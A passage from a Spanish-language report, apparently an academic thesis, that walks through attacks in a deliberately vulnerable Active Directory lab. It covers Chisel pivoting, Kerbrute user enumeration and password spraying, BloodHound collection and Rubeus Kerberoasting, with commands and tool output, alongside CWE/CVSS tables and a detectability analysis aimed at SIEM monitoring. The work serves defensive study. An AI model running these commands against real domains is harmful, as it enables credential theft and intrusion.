escenarios reales de delegacién de funciones dentro de la organizacion.

En particular la cuenta “attacker” dispone de permisos de lectura sobre los objetos del dominio
lo que permite realizar tareas de enumeracién avanzada sin necesidad de privilegios avanzados.
Este tipo de configuraciones son habituales en entornos corporativos y pueden facilitar la
obtencion de informacidn critica por parte de un atacante.

Adicionalmente, la cuenta “Helpdesk” cuenta con privilegios delegados sobre equipos cliente
reproduciendo el rol de personal de soporte técnico. Este tipo de cuentas, aunque no son
administradores de dominio pueden ser usadas como punto intermedio en procesos de
escalada de privilegios si sus permisos no estan correctamente controlados.



Configuracioén insegura de servicios de base de datos

El entorno incluye configuraciones intencionalmente inseguras en los sistemas de base de
datos.

En el caso del servidor SQL integrado en el dominio, se ha habilitado la autenticacion mixtay se
han asignado privilegios elevados a cuentas determinadas. Ademas, se han activado
funcionalidades avanzadas que permiten la ejecucidon de comandos sobre el sistema.

Estas configuraciones permiten reproducir escenarios en los que un atacante puede abusar de
credenciales comprometidas, ejecutar comandos de forma remota o escalar privilegios a través
de servicios de base de datos.

Exposicion de servicios web y uso de cuentas de servicio

El servicio web desplegado en el laboratorio usa autenticacion integrada con AD mediante una
cuenta de servicio dedicada.

Este tipo de configuracion permite simular escenarios en los que la aplicacién web interactua
con el dominio pero también introduce posibles vectores de ataque relacionados con abuso de
autenticacion Kerberos, reutilizacion de tickets o acceso a recursos internos a través del
servicio.

La interaccién entre el servicio web y otros sistemas como la base de datos permite ademas
analizar escenarios de encadenamiento de vulnerabilidades entre distintos componentes del
entorno.

Recursos compartidos y exposicion de informacion

Como se ha explicado anteriormente, se han configurado recursos compartidos accesibles
dentro del dominio con el objetivo de simular situaciones habituales en entornos corporativos
donde la informacién no se encuentra correctamente protegida.

Estos recursos pueden contener datos sensibles o informacién interna que puede ser usada por
un atacante durante la fase de reconocimiento. La exposicion de este tipo de informacidén
facilita la identificacidn de usuarios, credenciales o configuraciones relevantes para fases
posteriores del ataque.

Configuraciones inseguras de acceso anonimo (Null Sessions)

Este laboratorio también incluye configuraciones que permiten el acceso anénimo a
determinados recursos del sistema, reproduciendo asi una de las debilidades clasicas de
entornos Windows mal configurados.

Este tipo de configuraciones permite a los usuarios no autenticados obtener informacion sobre
el sistema como usuarios, grupos o recursos compartidos lo que facilita significativamente las
tareas de reconocimiento inicial dentro de la red.

Permisos WMI, DCOM y administracion remota
Se han otorgado permisos sobre tecnologias como WMIy DCOM a determinadas cuentas del

dominio, lo que permite simular escenarios en los que los usuarios con privilegios limitados
disponen de capacidades de administracién remota.



Este tipo de configuraciones puede ser explotado por un atacante para ejecutar comandos de
forma remota, generar actividad dentro del dominio o moverse lateralmente entre sistemas.

Adicionalmente, se ha habilitado el uso de mecanismos de administracidn remota como
WinRM.

Configuraciones de seguridad relajadas

Con el objetivo de facilitar el analisis de las técnicas de ataque se han deshabilitado o relajado
determinados mecanismos de seguridad como soluciones antivirus o restricciones adicionales
sobre la ejecucion de comandos.

Esta decisién permite observar de forma mas clara el impacto de cada técnicay su reflejo en los
registros del sistema, aunque se aleja de un entorno productivo real.

En conjunto las configuraciones que se han introducido permiten construir un entorno
controlado que reproduce de forma realista multiples vectores de ataque presentes en
infraestructuras corporativas. La combinacion de estas vulnerabilidades no solo facilita el
estudio individual de cada técnica sino también el analisis de su encadenamiento permitiendo
evaluar tanto el impacto del compromiso como su visibilidad dentro del sistema de
monitorizacion.



4. Ejecucion de ataques

En este apartado describiré la ejecuciéon controlada de un conjunto de técnicas de ataque sobre
el entorno AD con el objetivo de simular un escenario real de compromiso progresivo dentro de
una red corporativa.

A diferencia de un enfoque simplemente descriptivo, el analisis no se centra Unicamente en la
ejecucion de las técnicas sino en la evaluacidon de su impacto y un adelanto de la detectabilidad
a priori dentro de un entorno monitorizado.

Para esto, el ataque se ha estructurado en fases que reflejan la evolucion natural de una
intrusion real desde el reconocimiento inicial hasta el compromiso total del dominio. Esta
divisidon permite analizar cada etapa de forma independiente identificando las técnicas
utilizadas, las debilidades explotadas y los mecanismos de deteccién asociados.

Cada fase incluira lo siguiente:

e Contextualizacion del escenario de ataque.

e Clasificacion de las técnicas empleadas.

e Evaluacién de las vulnerabilidades asociadas.

e Analisis de detectabilidad basado en las técnicas realizadas.

Este enfoque no solo permitira comprender como se desarrolla el ataque sino también evaluar
en qué medida cada técnica puede ser identificada mediante mecanismos de monitorizacién
basados en logs.

Ademas, se mostrara que gran parte de las técnicas analizadas reutilizan protocolos 'y
mecanismos nativos de Active Directory, lo que dificultara la diferenciacién entre actividad
maliciosa'y comportamiento normal. Esto introduce la necesidad de adoptar modelos de
deteccidn basados en la correlacion de eventos y analisis contextual en lugar de depender
Unicamente de indicadores aislados.

Finalmente, el analisis desarrollado en este apartado servird como base para la construccién de
un modelo estructurado de detectabilidad en el siguiente apartado donde se integran las
distintas técnicas, eventos generados y fuentes de datos con el objetivo de evaluar su visibilidad
real en un entorno SIEM.

Fase 1 — Reconocimiento de la red interna

Contexto del ataque

En esta fase se asume que el atacante ya dispone de acceso inicial a la red interna mediante la
maquina CLIENT2, la cual se encuentra unida al dominio y opera utilizando una cuenta legitima
del dominio. Este escenario es representativo de entornos corporativos reales en los que el
compromiso inicial no se produce mediante explotacion directa de vulnerabilidades externas,
sino que se realizar a través de credenciales comprometidas o accesos previos.

A partir de aqui, el objetivo no es la explotaciéon inmediata sino la obtencidn de informacién
relevante del entorno que nos permita comprender la estructura del dominio, identificar activos
criticos y planificar fases posteriores del ataque. Las técnicas empleadas en esta fase utilizan
protocolos habituales del dominio, como LDAP, SMB o Kerberos, generando actividad similar a
acciones habituales de gestidon dentro del dominio.



Adicionalmente, el uso de técnicas como pivoting mediante herramientas como Chisel permite
redirigir el tréfico a través de CLIENT2 provocando que todas las acciones ejecutadas desde la
maquina atacante, Kali, aparenten originarse desde el equipo legitimo del dominio. Este
comportamiento elimina indicadores clasicos de ataque como direcciones IP externas o
patrones andmalos de red provocando que las conexiones aparenten originarse desde un
equipo interno legitimo del dominio.

Desde el punto de vista de la deteccidn, esta situacion introduce un escenario especialmente
complejo ya que las acciones de atacante quedan enmascaradas dentro del comportamiento
normal de un usuario autenticado. Esto obliga a basar la deteccidn en analisis de
comportamiento y analisis contextual de la actividad en lugar de depender de indicadores
tradicionales.

Clasificacion de la técnica

Tactica Reconnaissance/Discovery

Tipo de técnica Enumeraciony recoleccién de informacién

Superficie afectada Active Directory y red interna

Naturaleza Uso legitimo de servicios del sistema

Riesgo asociado Exposicion de informacion estructural del
dominio

Tabla 1. Clasificacion de la técnica de reconocimiento y enumeracion en Active Directory

Evaluacion de la vulnerabilidad general (Reconocimiento)

CWE CWE-200 - Exposure of sensitive information

CVSS 3.1 5.3 (Medium)

Root Cause Exceso de visibilidad del dominio y ausencia
de restricciones en consultas internas

Impacto Permite identificar usuario, servicios, equipos
y relaciones dentro del dominio

Remediacién Aplicacién de controles de acceso,
segmentacioén de red y monitorizacion de
consultas

Referencias MITRE ATT&CK - Discovery

Tabla 2. Evaluacion de la vulnerabilidad asociada a la exposicidn de informacidn durante la fase de reconocimiento

El reconocimiento interno no constituye una vulnerabilidad critica de forma aislada. Sin
embargo, su impacto radica en que permite al atacante reducir la incertidumbre del entornoy
obtener informacidn clave para fases posteriores del ataque.

Desde una perspectiva analitica, esta fase introduce un problema fundamental en la deteccidn
ya que la mayoria de las acciones realizadas generan sefales validas dentro del sistema, pero
carecen de contexto suficiente para ser consideradas maliciosas de forma individual. Esto
convierte el analisis de comportamiento en un elemento clave para su identificacion.

Pivoting y ocultacion del origen del ataque

El uso de tuneles SOCKS mediante herramientas como Chisel introduce un mecanismo de
evasion que altera la percepcién del origen del trafico. A través de esta técnica las herramientas



ejecutadas desde Kali usan CLIENT2 como punto intermedio de forma que todas las conexiones
hacia el dominio parecen originarse desde un sistema legitimo.

Este comportamiento elimina uno de los principales indicadores de compromiso, la
procedencia externa del trafico provocando que las actividades maliciosas del atacante se
integren dentro del patrén normal de uso del dominio.

Esto desplaza el problema de deteccidon desde un enfoque basado en red hacia un enfoque
basado en endpointy comportamiento. La identificacién del ataque pasa a depender de
detectar anomalias en el uso del sistema como la ejecucién de procesos, volumen de
conexiones o patrones de acceso.

Desde el marco MITRE ATT&CK esta técnica esta relacionada con:
e T1090.001 - Internal Proxy
e T1572-Protocol Tunneling

En términos de detectabilidad, el pivoting representa una de las técnicas mas complejas de
identificar en esta fase ya que elimina los indicadores de red tradicionales y obliga a depender
de correlaciéon avanzada entre eventos de hosty red situando su detectabilidad en un nivel bajo.

t -2 http.server 8089
Serving HTTP on ©.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
|

Directory listing for /

o chuel

o chuel L1LI_mndens_smdé oo © This app is unsafe

roscft Deferder SeartSoreen reponted that
thes 2pp b8 unsafe. It could Cause @ 90}

client 192.168.109.12:1080 socks
2025/11/26 12:56:58 client: Connecting to ws 2.168.109.12:1080
2025/11/24 12:56:5 n: proxys127.0 1080=socks: Listening
2025/11/24 12:56:58 client: Connected (Latency 612.152ps)

[socks5 127.0.0.1 1080

Ilustracion 4. Establecimiento de tunel SOCKS mediante Chisel para la realizacidn de pivoting a través de la maquina
CLIENT2



La imagen muestra la transferencia de Chisely creaciéon de un tunel SOCKS usando esta
herramienta que me permite redirigir el trafico desde la maquina atacante hacia la red interna a
través de CLIENT2.

Escaneo de red y descubrimiento de servicios

El escaneo de red permite identificar los hosts activos dentro de la red y los servicios expuestos
en cada uno de ellos. Esta informacion resulta fundamental para determinar posibles vectores
de ataque.

Desde el punto de vista de la seguridad, la posibilidad de realizar este tipo de escaneos sin
restricciones evidencia la ausencia de segmentacion de red y controles de acceso internos.

En términos de detectabilidad esta actividad genera multiples conexiones hacia distintos
sistemas lo que produce sefiales observables. Sin embargo, dichas sefales no son
intrinsecamente maliciosas ya que pueden corresponder a herramientas de administracion o
monitorizacion legitimas.

Por ello su deteccidn efectiva requiere identificar patrones anémalos como:

e Unvolumen elevado de conexiones en un intervalo reducido de tiempo.
e Acceso a multiples sistemas sin justificacion operativa.

Desde el marco MITRE ATT&CK:
e T1046 - Network Service Discovery

Esto implica que su detectabilidad es media en ausencia de mecanismos de correlacion
avanzada ya que depende de la interpretacion contextual de los eventos generados.
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Ilustracion 5. Escaneo de red interno mediante Nmap a través de tunel SOCKS

En esta imagen se muestra la ejecucion de un escaneo de red usando la herramienta Nmap a
través del proxychain creado el cual permite redirigir el trafico mediante el tunel SOCKS
previamente establecido, con lo que se consigue hacer descubrimiento de host y servicios a
través de un equipo comprometido dentro del dominio

Como resultado se identifican multiples servicios expuestos en las diferentes maquinas activas
de lared como son SMB (445), RPC (135) o WinRM (5985).

Enumeracion de usuarios mediante Kerberos (Kerbrute)
La enumeracidn de usuarios se realiza mediante el uso de Kerbrute una herramienta que

aprovecha el comportamiento del protocolo de Kerberos para distinguir entre cuentas validas e
invalidas.

A diferencia de un ataque de fuerza bruta tradicional, esta técnica no busca obtener
credenciales sino validar la existencia de cuentas dentro del dominio lo que la convierte en una
fase previa clave para ataques posteriores.

CWE CWE-203 - Observable Discrepancy

CVSS 3.1 6.5 (Medium - High)

Root Cause Respuestas diferenciadas del servicio
Kerberos




Impacto Enumeracion masiva de cuentas validas

Remediacién Monitorizacién y deteccién de patrones
andomalos

Referencias MITRE ATT&CK - T1087.002 (Domain Account
Discovery)

Tabla 3. Evaluacion de la vulnerabilidad asociada a la enumeracidon de usuarios mediante Kerberos

Desde el punto de vista de la deteccidn, esta técnica presenta una visibilidad limitada cuando
se analiza de forma aislada ya que las solicitudes Kerberos forman parte del comportamiento
normal del dominio. Pero, su identificacidn es posible mediante el analisis del comportamiento,
sobre todo a través de:

e Volumen andmalo de solicitudes en corto periodo de tiempo.
e Enumeracién secuencial de nombres de usuario.
e Actividad no asociada a procesos interactivos legitimos.

Esto evidencia que la deteccién no depende de un evento concreto sino de la correlacion
temporaly contextual de multiples acciones situando su detectabilidad en un nivel medio
cuando se analiza de forma aislada.

erbrute userenum -d lab.local --dc 192.168.109.10 ../Seclists/Userna /xato-net-1@-million-usernames.txt

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-1linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

17 /7
IHT N 7N _T7177 _T_\
JSTAd I

/e
P24 I A NV S S v A N A W A W

Version: v1.0.3 (9dad6el) - 11/24/25 - Ronnie Flathers gropnop

2025/11/24
2025/11/24

2025/1 2 > [ I L
2025/11/24 07:14 > Done! Tested 8295455 usernames (9 valid) in 786.494 seconds

Ilustracion 6. Enumeracion de usuarios del dominio mediante Kerberos utilizando Kerbrute

La imagen muestra la ejecucion de la herramienta Kerbrute a través de proxychains que me
permite realizar la enumeracion de usuarios validos en el dominio mediante el protocolo
Kerberos. Como resultado se ha obtenido un conjunto de usuarios validos incluyendo cuentas
administrativas que pueden ser Utiles en fases posteriores del ataque.

Recoleccion de informacion estructural BloodHound

El uso de BloodHound junto con SharpHound permite realizar una recoleccion avanzada de
informacion sobre la estructura del dominio construyendo un modelo completo de relaciones
entre usuarios, grupos y permisos.

CWE CWE-269 - Improper Privilege Management

CVSS 3.1 7.5 (High)

Root Cause Exceso de privilegios y complejidad de
permisos

Impacto Identificacion de rutas completas de
compromiso

Remediacion Revision de permisos y delegaciones

Referencias MITRE ATT&CK - Discovery / Privilege
Escalation




Tabla 4. Evaluacion de la vulnerabilidad asociada al exceso de privilegios y enumeracion avanzada de Active Directory

Desde el punto de vista analitico, esta técnica presenta una detectabilidad superior a las otras
actividades de reconocimiento debido a la generacion de multiples interacciones con el
dominio.

Por otro lado, estas interacciones se realizan mediante protocolos legitimos como LDAP, SMBy
Kerberos lo que implica que los eventos generados pueden confundirse con actividad
administrativa.

Desde el marco MITRE ATT&CK:

e T1087.002 - Domain Account Discovery
e T1069.002 - Domain Groups Discovery
e T1482 - Domain Trust Discovery

La identificacién de la actividad requiere identificar patrones agregados como:

e Alta frecuencia de consultas LDAP.
e Enumeracion masiva de objetos del dominio.
e Correlacién entre ejecucion de procesos y actividad de red.

Por estas razones, la detectabilidad de esta actividad puede considerarse como media/alta
especialmente cuando se analizan patrones agregados de actividad.

—.-KB/s  en 9,065

exes guardado [

Directory listing for /

+ ShargHound exe
@ This app is unsafe

-

Keep anyway

Ilustracion 7. Recoleccidn de informacion del dominio mediante SharpHound
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Ilustracion 8. Visualizacion de hallazgos en BloodHound

La imagen muestra el proceso de transferencia de la herramienta SharpHound a la maquina
victimay tras esto la recoleccidn de informacion del dominio mediante esta, asi como la
creacion de una carpeta compartida que nos permitira descargar esta informacién para
posteriormente cargarla en BloodHound y visualizar las relaciones entre usuarios, gruposy
sistemas dentro del entorno AD.

Conclusion de la fase

La fase de reconocimiento pone de manifiesto que la exposicion de informacién dentro del
entrono Active Directory constituye un factor critico de riesgo.

A través de herramientas legitimas y sin necesidad de privilegios elevados, he sido capaz de
obtener una visién detallada del dominio y preparar el terreno para fases posteriores.

Desde el punto de vista de la deteccién observamos lo siguiente:

e Lamayoria de las técnicas generan senales validas dentro del sistema.

e Loseventosindividuales carecen de contexto suficiente para ser considerados
maliciosos.

e Ladeteccidon dependera de la correlacion y analisis de comportamiento.



De forma comparativa el pivoting representa la técnica con menor detectabilidad, mientras que
herramientas como BloodHound generan un mayor volumen de eventos, aunque igualmente
dependientes de analisis contextual.

Esto evidencia que las técnicas mas criticas no son aquellas que generan menos eventos, sino
las que sus eventos son indistinguibles de actividad legitima.

Evaluacion de detectabilidad de la fase

Escaneo de red Conexiones a Media Requiere analisis de
multiples hosts volumeny patron

Kerbrute Solicitudes Kerberos | Media Actividad legitima sin
correlacion

BloodHound Consultas LDAP/SMB | Media/Alta Genera patrones
sostenidos

Pivoting Trafico interno Baja Elimina indicador de
origen externo

Tabla 5. Evaluacion de detectabilidad de técnicas de reconocimiento y enumeracion en Active Directory

Esta evaluacion refleja que la detectabilidad en esta fase no depende de la existencia de
eventos sino de la capacidad de interpretarlos dentro de un contexto. También se observa que
ninguna de las técnicas presenta detectabilidad alta de forma aislada, lo que refuerza la
necesidad de modelos de deteccion basados en interpretacion conjunta de logs.

Fase 2 — Acceso a recursos compartidos y obtencion de credenciales

Contexto del ataque

Tras completar la fase inicial de reconocimiento, el siguiente paso consiste en identificar
posibles vectores de acceso derivado de las configuraciones inseguras dentro del entorno. En
este caso el objetivo es verificar si existen recursos compartidos accesibles que puedan
contener informacion sensible.

A partir de la informacidén obtenida en la fase anterior, se identificé que la maquina CLIENT1
tiene expuesto un servicio SMB por el puerto 445/TCP, lo que sugiere la posibilidad de existencia
de recursos compartidos accesibles dentro del dominio.

Este escenario es representativo de entornos corporativos en los que los recursos compartidos
se usan para facilitar el intercambio de informacidén entre usuarios pero que debido a una mala
gestion de permisos, puede convertirse en un vector de exposicion de informacién critica.

Desde el punto de vista ofensivo, esta fase supone un cambio respecto al reconocimiento ya
que no solo se busca informacién estructural del dominio sino datos que permitan avanzar
hacia el compromiso de nuevas cuentas.

Clasificacion de la técnica

Tactica Discovery/Credential Access




Tipo de técnica Acceso a recursos compartidos y recoleccién
de credenciales

Superficie afectada Recursos SMBy sistemas del dominio
Naturaleza Uso legitimo de servicios del sistema
Riesgo asociado Exposicion de credenciales y datos sensibles

Tabla 6. Clasificacion de la técnica de acceso a recursos compartidos y obtencion de credenciales

Evaluacion de la vulnerabilidad (Acceso a recursos compartidos)

CWE CWE-522 -Insufficently Protected
Credentials

CVSS 3.1 7.1 (High)

Root Cause Configuracion incorrecta de permisos en
recursos compartidos

Impacto Exposicion de informacioén sensibley
credenciales en texto plano

Remediacion Restriccidon de accesos, control de permisos
y auditoria de recursos

Referencias MITRE ATT&CK - Discovery / Credential
access

Tabla 7. Evaluacion de la vulnerabilidad asociada a la exposicion de credenciales en recursos compartidos SMB

El acceso a recursos compartidos mal configurados constituye una de las debilidades mas
comunes en entornos corporativos. Aunque el uso de SMB es legitimo, una gestién inadecuada
de permisos puede provocar la exposiciéon de informacion critica.

Desde una perspectiva mas analitica, esta fase introduce un cambio relevante respecto la fase
anterior ya que las acciones realizadas siguen siendo legitimas pero el impacto potencial es
significativamente mayor. Esto puede derivar directamente en el compromiso de credenciales.

Acceso a recursos SMB

Desde la sesion comprometida en CLIENT2 se procedié a enumerar los recursos compartidos
disponibles en CLIENT1. Como resultado se identifico un recurso compartido llamado
“PublicShare” el cual permitia acceso a usuarios autenticados del dominio e incluso acceso
anonimo.

Una vez verificado el acceso, se procedio a la exploracidon del contenido del recurso
identificando multiples archivos que simulaban documentacién interna.

Este tipo de configuracion refleja una practica que es habitual en entornos con baja madurez en
seguridad donde los recursos compartidos se usan sin aplicar controles adecuados de acceso
ni clasificacion de la informacion.

Desde el punto de vista de la detectabilidad, esta actividad presenta una complejidad similar a
la de la fase 1 ya que el acceso a recursos SMB es una accion habitual dentro del dominio. Es
por esto por lo que los eventos generados no son intrinsecamente sospechosos requiriendo un
analisis contextual para su identificacion.

Desde el marco MITRE ATT&CK:
e T1135 - Network Share Discovery

e T1021.002 - SMB/Windows Admin Shares



Esto implica que su detectabilidad es baja cuando se analiza de forma aislada ya que depende
de identificar accesos no habituales o fuera del comportamiento esperado del usuario.
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Ilustracion 9. Acceso a recurso compartido SMB y obtencidn de credenciales en texto plano

La imagen muestra el acceso al recurso compartido SMB en la maquina CLIENT1 vy la
exploracién del contenido junto con la obtencidon de archivos que contienen informacion
sensible como contrasenas reutilizadas y credenciales almacenadas en texto plano que

posiblemente pertenezcan a una cuenta del dominio.

Exposicion de credenciales en texto plano

CWE CWE-522 -Insufficently Protected
Credentials

CVSS 3.1 7.5 (High)

Root Cause Almacenamiento de credenciales en texto
plano

Impacto Compromiso directo de cuentas

Remediacion Eliminacién de credenciales en texto planoy
control de accesos

Referencias MITRE ATT&CK - 1522.001

Tabla 8. Evaluacion de la vulnerabilidad asociada al almacenamiento de credenciales en texto plano

Durante la exploracién del recurso compartido se identificaron archivos que contenian
credenciales almacenadas en texto plano. Este tipo de hallazgo representa una de las




debilidades mas criticas dentro de entornos corporativos ya que elimina la necesidad de
realizar ataques de fuerza bruta o exploracién avanzada.

La presencia de credenciales en texto plano suele estar asociada a malas practicas operativas
como almacenamiento de contrasefas en documentos compartidos, reutilizacién de
credenciales o falta de controles de acceso adecuados.

Desde el punto de vista analitico, esta situacion introduce un salto cualitativo en el ataque ya
que transforma una fase de descubrimiento en una oportunidad de compromiso directa.

En cuanto a la detectabilidad, este tipo de exposicidn presenta una visibilidad muy limitada:

e No genera eventos especificos asociados a actividades maliciosas.
e Elacceso alos archivos se realiza mediante protocolos legitimos.
e No existe diferencia observable entre acceso legitimo y malicioso.

Por esto, la detectabilidad se considera baja ya que depende completamente del analisis
contextual del acceso a la informacion:

e T1552.001 -Credentials in files

Ataque de password spraying

CWE CWE-307 — Improper restriction of excessive
authentication attemps

CVSS 3.1 6.8 (Medium/High)

Root Cause Falta de controles efectivos contra intentos
distribuidos

Impacto Compromiso de cuentas mediante
credenciales validas

Remediacion Deteccion de patrones de autenticacion
andmalos

Referencias MITRE ATT&CK -T1110.003

Tabla 9. Evaluacion de la vulnerabilidad asociada a ataques de Password Spraying sobre cuentas del dominio

A partir de las credenciales obtenidas se prepara un ataque de Password Spraying con el
objetivo de validar su uso en multiples cuentas del dominio.

Esta técnica consiste en probar una o pocas contrasefias sobre un conjunto amplio de
usuarios, evitando generar bloqueos de cuenta y reduciendo la probabilidad de deteccién.

Para ello, se uso la informacion recopilada en la fase de reconocimiento para construir una lista
de usuarios validos del dominio.



Desde el punto de vista analitico esta técnica representa una evolucion respecto a ataques de
fuerza bruta tradicionales ya que prioriza el sigilo frente al volumen de los intentos.

En términos de detectabilidad, el Password Spraying presenta una complejidad elevada debido
a:

e Genera un numero reducido de intentos por usuario.
e Imita errores de autenticacion legitimos.
e Evita mecanismos de bloqueo de cuenta.

La deteccion necesita identificar patrones distribuidos para ser efectiva, como:

¢ Intentos fallidos en multiples cuentas con una misma contrasefa.
e Actividad de autenticacion andmala en un corto periodo de tiempo.

Desde el marco MITRE ATT&CK:
e T1110.003 - Password Spraying

Esto situa su detectabilidad en un nivel medio-alta cuando se analiza de forma aislada
dependiendo en gran medida de los mecanismos de correlacion de eventos.
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Ilustracion 10. Identificacidon de usuarios del dominio y preparacion del conjunto de objetivos

La imagen muestra la identificacidon de usuarios validos del dominio mediante herramientas de
enumeraciény la construccion de una lista de cuentas objetivo validas que sera usadas para el
password spraying.

./kerbrute passwordspray -d lab.local users.txt P@ssword123 —dc 192.168.109.10
[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading /usr/lib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng &.17

7

/o Y =
F N

Version: v1.0.3 (9dad6el) - 11/26/25 - Ronnie Flathers @ropnop

2025/11/26 1. 08 > Using KDC(s):
2025/11/26 1 08 > 192.168.109.10:88

2025/11/26 [ LOGIN: userlgla 3
2025/11/26 1 : > ested 11 logins (1 successes) in 0.019 seconds

llustracion 11. Ejecucién de ataque de Password Spraying y obtencién de credenciales validas

Esta imagen muestra la ejecuciéon de un ataque de password spraying mediante Kerbrute
aplicando la contrasefia comun encontrada previamente sobre la lista de usuarios validos
creada. Como resultado tenemos una coincidencia en el usuario “user1” que confirma la
existencia de credenciales débiles o reutilizadas en el entorno.



Compromiso de cuenta de usuario

Como resultado del ataque de Password Spraying se logro identificar que una de las
credenciales obtenidas correspondia a la cuenta “user1” permitiendo su compromiso.

Este hecho marcard elinicio de la siguiente fase en el que se pasa de una posicion de acceso
limitado a disponer de credenciales validas de otro usuario del dominio.

Desde el punto de vista analitico, representa un cambio critico en el ataque ya que:

e Se produce una expansion del acceso dentro del dominio.
e Seincrementa la superficie de ataque disponible.
e Se habilitan nuevas posibilidades de movimiento lateral.

En términos de detectabilidad este tipo de compromiso puede pasar desapercibido si no se
analizan anomalias en el comportamiento de inicio de sesién ya que el uso de credenciales
validas no genera alertas por si mismo.

Conclusion de la fase

La fase de acceso a recursos compartidos y obtencién de credenciales pone en manifiesto que
la exposicién de informacion sensible constituye uno de los vectores de ataque mas criticos en
entornos AD.

A través de configuraciones inseguras y malas practicas operativas se ha podido obtener
credenciales sin necesidad de realizar técnicas complejas.

Desde el punto de vista de la deteccidn hemos observado que:

e Las acciones realizadas usan servicios legitimos del sistema.
e No existen claramente diferenciadores de actividad maliciosa.
e Ladeteccion esta sujeta a un analisis contextualy correlacion.

Esto evidencia que las fases mas criticas del ataque no siempre implican técnicas avanzadas
sino el aprovechamiento de debilidades basicas en la gestidon de la informacién.

Se observa que el uso de credenciales validas reduce significativamente la detectabilidad del
ataque ya que elimina la necesidad de comportamientos andmalos evidentes dificultando su
identificacion sin mecanismos avanzados de correlacion.

Evaluacion de detectabilidad de la fase

Acceso SMB Acceso arecursos Media Actividad legitima sin
compartidos contexto

Exposicion de Acceso a archivos Baja No genera eventos

credenciales especificos

Password Spraying Intentos de Media/Baja Distribuido y dificil de
autenticacion correlacionar

Uso de credenciales | Inicio de sesion Baja Comportamiento

validas indistinguible del

legitimo

Tabla 10. Evaluacion de detectabilidad de técnicas de acceso a recursos compartidos y abuso de credenciales



Esta evaluacidn refleja que la detectabilidad en esta fase se ve reducida tanto por el uso de
credenciales validas como de servicios legitimos, lo que dificulta la diferenciacién entre
actividad maliciosa y del comportamiento legitimo dentro del entorno.

Fase 3 — Abuso de Kerberos y delegacion

Contexto del ataque

Tras el compromiso inicial de la cuenta “user1” en la fase 2 ahora disponemos de acceso
legitimo a la Workstation CLIENT1. En este punto, el objetivo ha evolucionado desde la
obtencion de credenciales hacia la explotacion mediante técnicas especificas del protocolo
Kerberos.

Esta fase se centra en el abuso de funcionalidades legitimas de autenticacion en AD
especialmente aquellas relacionadas con la gestion de tickets Kerberos y cuentas de servicio. A
diferencia de fases anteriores donde se ha explotado configuraciones inseguras, ahora se
aprovecha del propio disefo del sistema.

Desde el punto de vista operativo, nos encontramos en un contexto autenticado lo que nos
permite interactuar directamente con el KDC y solicitar tickets Kerberos asociados a distintos
servicios del dominio.

Este escenario es especialmente critico ya que muchas de estas operaciones forman parte del
funcionamiento normal del sistema, dificultando su deteccidon sin mecanismos avanzados de
analisis.

Clasificacion de la técnica

Tactica Credential Access/Privilege
Escalation/Lateral Movement

Tipo de técnica Abuso de Kerberos y delegacion

Superficie afectada AD y cuentas de servicio

Naturaleza Uso legitimo del protocolo Kerberos

Riesgo asociado Compromiso de cuentas de servicioy
suplantacion de identidades

Tabla 11. Clasificacion de la técnica de abuso de Kerberos y delegacién en Active Directory

Evaluacion de vulnerabilidades (Kerberoasting)

CWE CWE-522 - Insufficiently protected
credentials

CVSS 3.1 7.5 (High)

Root Cause Uso de cifrados débiles (RC4) en tickets
Kerberos

Impacto Obtencion de credenciales de cuentas de
servicio

Remediacion Uso de AES, rotacién de credenciales 'y
cuentas gestionadas

Referencias MITRE ATT&CK - T1558.003 (Kerberoasting)

Tabla 12. Evaluacion de la vulnerabilidad asociada al abuso de Kerberos mediante técnicas de Kerberoasting



El kerberoasting es una técnica que permite solicitar tickets de servicio TGS asociados a
cuentas con SPN y posteriormente intentar descifrarlos offline. Este comportamiento es posible
debido a que los tickets estan cifrados con la clave de la cuenta de servicio.

Desde la perspectiva analitica, esta técnica no explota una vulnerabilidad tradicional sino una
debilidad inherente del disefio de Kerberos cuando se usan configuraciones inseguras.

Enumeracion de SPNs en el dominio

El primer paso consiste en identificar los servicios del dominio que disponen de SPNs o Service
Principal Names, ya que estos representan objetivos potenciales para Kerberoasting.

Para ello se emplean herramientas como Rubeus que permiten interactuar directamente con
Kerberos desde un entorno Windows autenticado.

Esta enumeracion me permite identificar:

e Servicios disponibles en el dominio.
e Cuentas de servicio asociadas.
e Posibles objetivos para extraccién de tickets.

Desde el marco MITRE ATT&CK:
e T1558.003 - Kerberoasting

En términos de detectabilidad es media/alta cuando se analiza de forma aislada dependiendo
delvolumen de solicitudes, frecuencia anémala y patrones no habituales de acceso.
M Certify.exe M LockLess.exe M Rubeus.exe M SharpChrome.exe M SharpRoast.exe

¥ README .md W SafetyKatz.exe WISharpDPAPI.exe W SharpUp.exe
o Koh.exe M RestrictedAdmin.exe WScatbelt.exe o SharpDump . exe W SharpWMl ,exe

m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

© This app is unsafe

Rubeus

W) Rubeus.ene

P Gatery

@ OneDrive

llustracion 12. Transferencia de herramientas al sistema comprometido mediante servidor HTTP

Esta imagen muestra la transferencia de la herramienta Rubeus desde la maquina atacante
hacia el sistema comprometido mediante un servidor HTTP temporal montado en Python. Esta
herramienta me permite interactuar con Kerberos. Desde la maquina objetivo se descarga
mediante el navegador visitando el HTTP montado por lo que no hace falta el uso de
herramientas complejas desde la parte de la victima.



PS C:\Tools\Rubeus> .\Rubeus.exe kerberoast /nowrap

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[x] Use /ticket:X or /tgtdeleg to force RCU_HMAC for these accounts.

[*] Target Domain : lab.local
[*] Searching path 'LDAP://DC@1.lab.local/DC=lab,DC=local’ for '(&(samAccountType=805306368)(servicePrincipalN ) (!samAccountName=krbtg
t)(! (UserAccountControl:1.2.840.113556.1.4.803:=2)))

[*] Total kerberoastable users : 3

[*] SamAccountName : svc-web

[*] DistinguishedName : CN=svc-web,OU=ServiceAccounts,K DC=1lab,DC=local

[*] ServicePrincipalName : HTTP/webserver.lab.local

[*] PwdLastSet : 11/27/2025 7:16:51 PM

[*] Supported ETypes : RCU_HMAC_DEFAULT

[*] Hash : $krb5tgs$23$*svc-web$lab. local$HTTP/webserver. lab. local@lab. local*$76D9F9EBS2AUECL2T03T7U6798DB3AF8S5B72FEGFB
